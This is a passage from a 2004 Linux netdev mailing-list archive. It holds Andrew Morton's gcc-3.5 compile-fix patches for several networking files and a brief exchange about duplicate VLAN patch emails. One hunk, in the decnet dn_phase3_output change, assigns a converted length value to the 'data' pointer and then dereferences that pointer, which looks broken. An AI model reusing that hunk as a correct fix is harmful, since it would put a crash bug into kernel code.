drivers/net/tg3.c:5885: warning: use of cast expressions as lvalues is deprecated drivers/net/tg3.c:5886: warning: use of cast expressions as lvalues is deprecated drivers/net/tg3.c:5887: warning: use of cast expressions as lvalues is deprecated drivers/net/tg3.c:5888: warning: use of cast expressions as lvalues is deprecated --- drivers/net/tg3.c | 16 +++++++++------- 1 files changed, 9 insertions(+), 7 deletions(-) diff -puN drivers/net/tg3.c~gcc-35-tg3 drivers/net/tg3.c --- 25/drivers/net/tg3.c~gcc-35-tg3 2004-01-25 03:01:48.000000000 -0800 +++ 25-akpm/drivers/net/tg3.c 2004-01-25 03:01:48.000000000 -0800 @@ -5850,10 +5850,12 @@ static int tg3_get_regs_len(struct net_d return TG3_REGDUMP_LEN; } -static void tg3_get_regs(struct net_device *dev, struct ethtool_regs *regs, void *p) +static void tg3_get_regs(struct net_device *dev, + struct ethtool_regs *regs, void *_p) { + u32 *p = _p; struct tg3 *tp = dev->priv; - u8 *orig_p = p; + u8 *orig_p = _p; int i; regs->version = 0; @@ -5863,15 +5865,15 @@ static void tg3_get_regs(struct net_devi spin_lock_irq(&tp->lock); spin_lock(&tp->tx_lock); -#define __GET_REG32(reg) (*((u32 *)(p))++ = tr32(reg)) +#define __GET_REG32(reg) (*(p)++ = tr32(reg)) #define GET_REG32_LOOP(base,len) \ -do { p = orig_p + (base); \ +do { p = (u32 *)(orig_p + (base)); \ for (i = 0; i < len; i += 4) \ __GET_REG32((base) + i); \ } while (0) -#define GET_REG32_1(reg) \ -do { p = orig_p + (reg); \ - __GET_REG32((reg)); \ +#define GET_REG32_1(reg) \ +do { p = (u32 *)(orig_p + (reg)); \ + __GET_REG32((reg)); \ } while (0) GET_REG32_LOOP(TG3PCI_VENDOR, 0xb0); _ From akpm@osdl.org Sun Jan 25 03:07:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:40 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7R7J009161 for ; Sun, 25 Jan 2004 03:07:27 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7Go25072; Sun, 25 Jan 2004 03:07:16 -0800 Date: Sun, 25 Jan 2004 03:07:16 -0800 Message-Id: <200401251107.i0PB7Go25072@mail.osdl.org> Subject: [patch 6/18] gcc-3.5: ipv6/ndisc.c fixes To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2763 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/ipv6/ndisc.c: In function `ndisc_send_na': net/ipv6/ndisc.c:478: warning: use of cast expressions as lvalues is deprecated --- net/ipv6/ndisc.c | 12 ++++++++---- 1 files changed, 8 insertions(+), 4 deletions(-) diff -puN net/ipv6/ndisc.c~gcc-35-ip6-ndisc-fix net/ipv6/ndisc.c --- 25/net/ipv6/ndisc.c~gcc-35-ip6-ndisc-fix 2004-01-19 13:36:19.000000000 -0800 +++ 25-akpm/net/ipv6/ndisc.c 2004-01-19 13:36:19.000000000 -0800 @@ -475,7 +475,8 @@ static void ndisc_send_na(struct net_dev skb_reserve(skb, (dev->hard_header_len + 15) & ~15); ip6_nd_hdr(sk, skb, dev, src_addr, daddr, IPPROTO_ICMPV6, len); - skb->h.raw = (unsigned char*) msg = (struct nd_msg *) skb_put(skb, len); + msg = (struct nd_msg *)skb_put(skb, len); + skb->h.raw = (unsigned char*)msg; msg->icmph.icmp6_type = NDISC_NEIGHBOUR_ADVERTISEMENT; msg->icmph.icmp6_code = 0; @@ -559,7 +560,8 @@ void ndisc_send_ns(struct net_device *de skb_reserve(skb, (dev->hard_header_len + 15) & ~15); ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); - skb->h.raw = (unsigned char*) msg = (struct nd_msg *)skb_put(skb, len); + msg = (struct nd_msg *)skb_put(skb, len); + skb->h.raw = (unsigned char*)msg; msg->icmph.icmp6_type = NDISC_NEIGHBOUR_SOLICITATION; msg->icmph.icmp6_code = 0; msg->icmph.icmp6_cksum = 0; @@ -630,7 +632,8 @@ void ndisc_send_rs(struct net_device *de skb_reserve(skb, (dev->hard_header_len + 15) & ~15); ip6_nd_hdr(sk, skb, dev, saddr, daddr, IPPROTO_ICMPV6, len); - skb->h.raw = (unsigned char*) hdr = (struct icmp6hdr *) skb_put(skb, len); + hdr = (struct icmp6hdr *)skb_put(skb, len); + skb->h.raw = (unsigned char*)hdr; hdr->icmp6_type = NDISC_ROUTER_SOLICITATION; hdr->icmp6_code = 0; hdr->icmp6_cksum = 0; @@ -1374,7 +1377,8 @@ void ndisc_send_redirect(struct sk_buff ip6_nd_hdr(sk, buff, dev, &saddr_buf, &skb->nh.ipv6h->saddr, IPPROTO_ICMPV6, len); - buff->h.raw = (unsigned char*) icmph = (struct icmp6hdr *) skb_put(buff, len); + icmph = (struct icmp6hdr *)skb_put(buff, len); + buff->h.raw = (unsigned char*)icmph; memset(icmph, 0, sizeof(struct icmp6hdr)); icmph->icmp6_type = NDISC_REDIRECT; _ From akpm@osdl.org Sun Jan 25 03:06:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:12 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB6w7J009088 for ; Sun, 25 Jan 2004 03:06:59 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB6mo25011; Sun, 25 Jan 2004 03:06:48 -0800 Date: Sun, 25 Jan 2004 03:06:48 -0800 Message-Id: <200401251106.i0PB6mo25011@mail.osdl.org> Subject: [patch 1/18] gcc-3.5: appletalk To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2758 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/appletalk/ddp.c: In function `atalk_create': net/appletalk/ddp.c:1054: error: invalid lvalue in assignment --- 25-akpm/net/appletalk/ddp.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/appletalk/ddp.c~gcc-35-appletalk net/appletalk/ddp.c --- 25/net/appletalk/ddp.c~gcc-35-appletalk Fri Jan 23 15:03:44 2004 +++ 25-akpm/net/appletalk/ddp.c Fri Jan 23 15:04:33 2004 @@ -1051,7 +1051,7 @@ static int atalk_create(struct socket *s sk = sk_alloc(PF_APPLETALK, GFP_KERNEL, 1, NULL); if (!sk) goto out; - at = at_sk(sk) = kmalloc(sizeof(*at), GFP_KERNEL); + at = sk->sk_protinfo = kmalloc(sizeof(*at), GFP_KERNEL); if (!at) goto outsk; memset(at, 0, sizeof(*at)); _ From akpm@osdl.org Sun Jan 25 03:07:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:00 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7k7J009312 for ; Sun, 25 Jan 2004 03:07:46 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7Xo25086; Sun, 25 Jan 2004 03:07:34 -0800 Date: Sun, 25 Jan 2004 03:07:34 -0800 Message-Id: <200401251107.i0PB7Xo25086@mail.osdl.org> Subject: [patch 9/18] gcc-3.5: llc To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2766 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/llc/llc_conn.c: In function `llc_sk_init': net/llc/llc_conn.c:829: error: invalid lvalue in assignment --- 25-akpm/net/llc/llc_conn.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/llc/llc_conn.c~gcc-35-llc net/llc/llc_conn.c --- 25/net/llc/llc_conn.c~gcc-35-llc Fri Jan 23 16:51:38 2004 +++ 25-akpm/net/llc/llc_conn.c Fri Jan 23 16:51:52 2004 @@ -826,7 +826,7 @@ int llc_sk_init(struct sock* sk) * tx_win of remote LLC) */ skb_queue_head_init(&llc->pdu_unack_q); sk->sk_backlog_rcv = llc_backlog_rcv; - llc_sk(sk) = llc; + sk->sk_protinfo = llc; out: return rc; } _ From akpm@osdl.org Sun Jan 25 03:06:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:06:47 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB6W7J009071 for ; Sun, 25 Jan 2004 03:06:33 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB6Ho25003; Sun, 25 Jan 2004 03:06:18 -0800 Date: Sun, 25 Jan 2004 03:06:24 -0800 From: Andrew Morton To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: gcc-3.5 patches Message-Id: <20040125030624.54abfacf.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2757 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Dave, let me unload a bunch of patches which fix compilation errors and warnings with gcc-3.5. Most or all of these are applicable to gcc-3.4 as well. The most common problem is using a typecasted expression as an lvalue. This is actually a fatal error in gcc-3.5. The sctp fix is interesting - sctp.h is using attribute((packed)) on all its structures and as far as I can tell, it never did anything. From akpm@osdl.org Sun Jan 25 03:08:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:55 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB8Z7J010160 for ; Sun, 25 Jan 2004 03:08:36 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB8Lo25193; Sun, 25 Jan 2004 03:08:21 -0800 Date: Sun, 25 Jan 2004 03:08:21 -0800 Message-Id: <200401251108.i0PB8Lo25193@mail.osdl.org> Subject: [patch 17/18] gcc-3.5: tcp_put_port() fix To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2774 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev include/net/tcp.h:741: sorry, unimplemented: inlining failed in call to 'tcp_put_port': function body not available net/ipv4/tcp_timer.c:1506: sorry, unimplemented: called from here --- include/net/tcp.h | 2 +- net/ipv4/tcp_ipv4.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff -puN include/net/tcp.h~gcc-35-tcp_put_port-fix include/net/tcp.h --- 25/include/net/tcp.h~gcc-35-tcp_put_port-fix 2004-01-17 14:37:33.000000000 -0800 +++ 25-akpm/include/net/tcp.h 2004-01-17 14:37:33.000000000 -0800 @@ -738,7 +738,7 @@ DECLARE_SNMP_STAT(struct tcp_mib, tcp_st #define TCP_ADD_STATS_BH(field, val) SNMP_ADD_STATS_BH(tcp_statistics, field, val) #define TCP_ADD_STATS_USER(field, val) SNMP_ADD_STATS_USER(tcp_statistics, field, val) -extern inline void tcp_put_port(struct sock *sk); +extern void tcp_put_port(struct sock *sk); extern void tcp_inherit_port(struct sock *sk, struct sock *child); extern void tcp_v4_err(struct sk_buff *skb, u32); diff -puN net/ipv4/tcp_ipv4.c~gcc-35-tcp_put_port-fix net/ipv4/tcp_ipv4.c --- 25/net/ipv4/tcp_ipv4.c~gcc-35-tcp_put_port-fix 2004-01-17 14:38:37.000000000 -0800 +++ 25-akpm/net/ipv4/tcp_ipv4.c 2004-01-17 14:38:50.000000000 -0800 @@ -313,7 +313,7 @@ static void __tcp_put_port(struct sock * spin_unlock(&head->lock); } -inline void tcp_put_port(struct sock *sk) +void tcp_put_port(struct sock *sk) { local_bh_disable(); __tcp_put_port(sk); _ From akpm@osdl.org Sun Jan 25 03:07:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:11 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7v7J009519 for ; Sun, 25 Jan 2004 03:07:57 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7ko25097; Sun, 25 Jan 2004 03:07:46 -0800 Date: Sun, 25 Jan 2004 03:07:46 -0800 Message-Id: <200401251107.i0PB7ko25097@mail.osdl.org> Subject: [patch 11/18] gcc-3.5: ne2k-pci.c To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2768 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev drivers/net/ne2k-pci.c: In function `ne2k_pci_block_input': drivers/net/ne2k-pci.c:539: error: invalid lvalue in increment drivers/net/ne2k-pci.c: In function `ne2k_pci_block_output': drivers/net/ne2k-pci.c:600: error: invalid lvalue in increment --- drivers/net/ne2k-pci.c | 16 ++++++++++++---- 1 files changed, 12 insertions(+), 4 deletions(-) diff -puN drivers/net/ne2k-pci.c~gcc-35-ne2k-pci drivers/net/ne2k-pci.c --- 25/drivers/net/ne2k-pci.c~gcc-35-ne2k-pci 2004-01-25 03:01:38.000000000 -0800 +++ 25-akpm/drivers/net/ne2k-pci.c 2004-01-25 03:01:38.000000000 -0800 @@ -532,8 +532,12 @@ static void ne2k_pci_block_input(struct insl(NE_BASE + NE_DATAPORT, buf, count>>2); if (count & 3) { buf += count & ~3; - if (count & 2) - *((u16*)buf)++ = le16_to_cpu(inw(NE_BASE + NE_DATAPORT)); + if (count & 2) { + u16 *b = (u16 *)buf; + + *b++ = le16_to_cpu(inw(NE_BASE + NE_DATAPORT)); + buf = (char *)b; + } if (count & 1) *buf = inb(NE_BASE + NE_DATAPORT); } @@ -593,8 +597,12 @@ static void ne2k_pci_block_output(struct outsl(NE_BASE + NE_DATAPORT, buf, count>>2); if (count & 3) { buf += count & ~3; - if (count & 2) - outw(cpu_to_le16(*((u16*)buf)++), NE_BASE + NE_DATAPORT); + if (count & 2) { + u16 *b = (u16 *)buf; + + outw(cpu_to_le16(*b++), NE_BASE + NE_DATAPORT); + buf = (char *)b; + } } } _ From akpm@osdl.org Sun Jan 25 03:07:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:29 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7G7J009117 for ; Sun, 25 Jan 2004 03:07:16 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB75o25060; Sun, 25 Jan 2004 03:07:05 -0800 Date: Sun, 25 Jan 2004 03:07:05 -0800 Message-Id: <200401251107.i0PB75o25060@mail.osdl.org> Subject: [patch 4/18] gcc-3.5: decnet To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2761 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/decnet/af_decnet.c: In function `dn_alloc_sock': net/decnet/af_decnet.c:459: error: invalid lvalue in assignment net/decnet/dn_neigh.c: In function `dn_phase3_output': net/decnet/dn_neigh.c:330: error: invalid lvalue in assignment --- 25-akpm/net/decnet/af_decnet.c | 2 +- 25-akpm/net/decnet/dn_neigh.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff -puN net/decnet/af_decnet.c~gcc-35-decnet net/decnet/af_decnet.c --- 25/net/decnet/af_decnet.c~gcc-35-decnet Fri Jan 23 15:37:10 2004 +++ 25-akpm/net/decnet/af_decnet.c Fri Jan 23 15:37:10 2004 @@ -456,7 +456,7 @@ struct sock *dn_alloc_sock(struct socket if (!sk) goto out; - DN_SK(sk) = scp = (struct dn_scp *)(sk + 1); + sk->sk_protinfo = scp = (struct dn_scp *)(sk + 1); if (sock) sock->ops = &dn_proto_ops; diff -puN net/decnet/dn_neigh.c~gcc-35-decnet net/decnet/dn_neigh.c --- 25/net/decnet/dn_neigh.c~gcc-35-decnet Fri Jan 23 15:39:15 2004 +++ 25-akpm/net/decnet/dn_neigh.c Fri Jan 23 15:39:56 2004 @@ -327,7 +327,7 @@ static int dn_phase3_output(struct sk_bu } data = skb_push(skb, sizeof(struct dn_short_packet) + 2); - ((unsigned short *)data) = dn_htons(skb->len - 2); + data = (unsigned char *)dn_htons(skb->len - 2); sp = (struct dn_short_packet *)(data + 2); sp->msgflg = DN_RT_PKT_SHORT|(cb->rt_flags&(DN_RT_F_RQR|DN_RT_F_RTS)); _ From akpm@osdl.org Sun Jan 25 03:07:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:07:53 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB7d7J009270 for ; Sun, 25 Jan 2004 03:07:39 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7So25081; Sun, 25 Jan 2004 03:07:28 -0800 Date: Sun, 25 Jan 2004 03:07:28 -0800 Message-Id: <200401251107.i0PB7So25081@mail.osdl.org> Subject: [patch 8/18] gcc-3.5: irda To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2765 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev include/net/irda/timer.h:87: sorry, unimplemented: inlining failed in call to 'irlmp_start_discovery_timer': function body not available --- include/net/irda/irlmp_frame.h | 2 +- include/net/irda/timer.h | 18 +++++++++--------- net/irda/af_irda.c | 4 ++-- 3 files changed, 12 insertions(+), 12 deletions(-) diff -puN include/net/irda/timer.h~gcc-35-irda include/net/irda/timer.h --- 25/include/net/irda/timer.h~gcc-35-irda 2004-01-23 17:48:57.000000000 -0800 +++ 25-akpm/include/net/irda/timer.h 2004-01-23 17:48:57.000000000 -0800 @@ -74,19 +74,19 @@ typedef void (*TIMER_CALLBACK)(void *); void irda_start_timer(struct timer_list *ptimer, int timeout, void* data, TIMER_CALLBACK callback); -inline void irlap_start_slot_timer(struct irlap_cb *self, int timeout); -inline void irlap_start_query_timer(struct irlap_cb *self, int timeout); -inline void irlap_start_final_timer(struct irlap_cb *self, int timeout); -inline void irlap_start_wd_timer(struct irlap_cb *self, int timeout); -inline void irlap_start_backoff_timer(struct irlap_cb *self, int timeout); +void irlap_start_slot_timer(struct irlap_cb *self, int timeout); +void irlap_start_query_timer(struct irlap_cb *self, int timeout); +void irlap_start_final_timer(struct irlap_cb *self, int timeout); +void irlap_start_wd_timer(struct irlap_cb *self, int timeout); +void irlap_start_backoff_timer(struct irlap_cb *self, int timeout); void irlap_start_mbusy_timer(struct irlap_cb *self, int timeout); void irlap_stop_mbusy_timer(struct irlap_cb *); -inline void irlmp_start_watchdog_timer(struct lsap_cb *, int timeout); -inline void irlmp_start_discovery_timer(struct irlmp_cb *, int timeout); -inline void irlmp_start_idle_timer(struct lap_cb *, int timeout); -inline void irlmp_stop_idle_timer(struct lap_cb *self); +void irlmp_start_watchdog_timer(struct lsap_cb *, int timeout); +void irlmp_start_discovery_timer(struct irlmp_cb *, int timeout); +void irlmp_start_idle_timer(struct lap_cb *, int timeout); +void irlmp_stop_idle_timer(struct lap_cb *self); #endif diff -puN include/net/irda/irlmp_frame.h~gcc-35-irda include/net/irda/irlmp_frame.h --- 25/include/net/irda/irlmp_frame.h~gcc-35-irda 2004-01-23 17:48:57.000000000 -0800 +++ 25-akpm/include/net/irda/irlmp_frame.h 2004-01-23 17:48:57.000000000 -0800 @@ -40,7 +40,7 @@ #define CONTROL_BIT 0x80 -inline void irlmp_send_data_pdu(struct lap_cb *self, __u8 dlsap, __u8 slsap, +void irlmp_send_data_pdu(struct lap_cb *self, __u8 dlsap, __u8 slsap, int expedited, struct sk_buff *skb); void irlmp_send_lcf_pdu(struct lap_cb *self, __u8 dlsap, __u8 slsap, __u8 opcode, struct sk_buff *skb); diff -puN net/irda/af_irda.c~gcc-35-irda net/irda/af_irda.c --- 25/net/irda/af_irda.c~gcc-35-irda 2004-01-23 20:12:21.000000000 -0800 +++ 25-akpm/net/irda/af_irda.c 2004-01-23 20:15:11.000000000 -0800 @@ -1089,7 +1089,7 @@ static int irda_create(struct socket *so return -ENOMEM; /* Allocate IrDA socket */ - self = irda_sk(sk) = kmalloc(sizeof(struct irda_sock), GFP_ATOMIC); + self = sk->sk_protinfo = kmalloc(sizeof(struct irda_sock), GFP_ATOMIC); if (self == NULL) { sk_free(sk); return -ENOMEM; @@ -1208,7 +1208,7 @@ static int irda_release(struct socket *s /* Destroy IrDA socket */ irda_destroy_socket(irda_sk(sk)); /* Prevent sock_def_destruct() to create havoc */ - irda_sk(sk) = NULL; + sk->sk_protinfo = NULL; sock_orphan(sk); sock->sk = NULL; _ From akpm@osdl.org Sun Jan 25 03:08:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 03:08:17 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PB837J009574 for ; Sun, 25 Jan 2004 03:08:03 -0800 Received: from localhost.localdomain (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0PB7qo25102; Sun, 25 Jan 2004 03:07:52 -0800 Date: Sun, 25 Jan 2004 03:07:52 -0800 Message-Id: <200401251107.i0PB7qo25102@mail.osdl.org> Subject: [patch 12/18] gcc-3.5: net/key/af_key.c To: davem@redhat.com Cc: netdev@oss.sgi.com From: akpm@osdl.org X-archive-position: 2769 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev net/key/af_key.c: In function `pfkey_create': net/key/af_key.c:151: error: invalid lvalue in assignment --- 25-akpm/net/key/af_key.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN net/key/af_key.c~gcc-35-net-key net/key/af_key.c --- 25/net/key/af_key.c~gcc-35-net-key Fri Jan 23 16:41:35 2004 +++ 25-akpm/net/key/af_key.c Fri Jan 23 16:42:00 2004 @@ -148,7 +148,7 @@ static int pfkey_create(struct socket *s sk_set_owner(sk, THIS_MODULE); err = -ENOMEM; - pfk = pfkey_sk(sk) = kmalloc(sizeof(*pfk), GFP_KERNEL); + pfk = sk->sk_protinfo = kmalloc(sizeof(*pfk), GFP_KERNEL); if (!pfk) { sk_free(sk); goto out; _ From shmulik.hen@intel.com Sun Jan 25 04:27:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 04:27:14 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PCQw7J025908 for ; Sun, 25 Jan 2004 04:26:59 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0PCQhZD014270; Sun, 25 Jan 2004 12:26:43 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0PCQMTj032360; Sun, 25 Jan 2004 12:26:32 GMT Received: from hasmsx331.ger.corp.intel.com ([143.185.63.144]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012514263203372 ; Sun, 25 Jan 2004 14:26:32 +0200 Received: from hasmsx403.ger.corp.intel.com ([143.185.63.109]) by hasmsx331.ger.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 25 Jan 2004 14:26:32 +0200 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [PATCH 3/6][8021q][2.6] Use VLAN tag set functionality in 8021q module Date: Sun, 25 Jan 2004 14:26:31 +0200 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 3/6][8021q][2.6] Use VLAN tag set functionality in 8021q module Thread-Index: AcPhZiUE5FgYgEJKR0CB29EbfV2TOwB10sMA From: "Hen, Shmulik" To: "David S. Miller" Cc: , X-OriginalArrivalTime: 25 Jan 2004 12:26:32.0392 (UTC) FILETIME=[77349C80:01C3E33E] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0PCQw7J025908 X-archive-position: 2776 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev -----Original Message----- From: David S. Miller [mailto:davem@redhat.com] Sent: Friday, January 23, 2004 5:57 AM To: Hen, Shmulik Cc: netdev@oss.sgi.com; bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.6] Use VLAN tag set functionality in 8021q module > Shmuel, please stop sending all of this VLAN and ARP stuff the > bonding code wants. > > I told you yesterday that at best I will put this stuff into > the next 2.6.x release, so please send it at that time. > > Thanks. Terribly sorry, must be something wrong with the mail server. I only sent this out once, on Thursday, but got it myself at least 3 times by this morning :( . Shmulik. From shmulik.hen@intel.com Sun Jan 25 04:29:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 04:29:21 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PCT67J026171 for ; Sun, 25 Jan 2004 04:29:07 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.9 2004/01/09 00:55:23 root Exp $) with ESMTP id i0PCSqZD014476; Sun, 25 Jan 2004 12:28:52 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.9 2004/01/09 01:01:50 root Exp $) with SMTP id i0PCSqTf032511; Sun, 25 Jan 2004 12:28:52 GMT Received: from hasmsx331.ger.corp.intel.com ([143.185.63.144]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012514285103464 ; Sun, 25 Jan 2004 14:28:51 +0200 Received: from hasmsx403.ger.corp.intel.com ([143.185.63.109]) by hasmsx331.ger.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Sun, 25 Jan 2004 14:28:52 +0200 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Date: Sun, 25 Jan 2004 14:28:51 +0200 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Thread-Index: AcPhE9JMn4CDrVuyRAa9rKGWqXPe6gCKk5Fw From: "Hen, Shmulik" To: "David S. Miller" Cc: , X-OriginalArrivalTime: 25 Jan 2004 12:28:52.0064 (UTC) FILETIME=[CA74DE00:01C3E33E] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i0PCT67J026171 X-archive-position: 2777 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev -----Original Message----- From: David S. Miller [mailto:davem@redhat.com] Sent: Thursday, January 22, 2004 8:07 PM To: Hen, Shmulik Cc: netdev@oss.sgi.com; bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.4] Use 